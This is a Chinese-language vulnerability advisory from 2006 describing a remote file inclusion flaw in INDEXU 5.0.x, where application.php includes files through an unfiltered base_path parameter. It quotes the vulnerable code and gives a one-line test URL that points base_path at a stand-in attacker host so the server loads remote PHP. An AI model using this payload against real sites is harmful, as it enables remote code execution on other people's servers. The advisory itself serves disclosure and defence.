发布日期：2006-02-09
更新日期：2006-02-09

受影响系统：

nicecoder.com INDEXU 5.0.1
nicecoder.com INDEXU 5.0.0

描述：

---

BUGTRAQ  ID: 16565

INDEXU是一款功能强大的建站解决方案。

INDEXU实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

在INDEXU的application.php代码中没有正确的过滤include fopen url。攻击者可以利用这个漏洞注入php代码。application.php中代码如下：

---------------application.php--------------------------------
...
include($base_path."lang/english.php");   // full path
include($base_path."pagination.class.php");   // full path

...
------------------------------------------------------------------

<*来源：M.Hasran Addahroni （eufrato@gmail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113951690506527&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil?

建议：

---

厂商补丁：

nicecoder.com
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.nicecoder.com/

浏览次数：7949
严重程度：0（网友投票）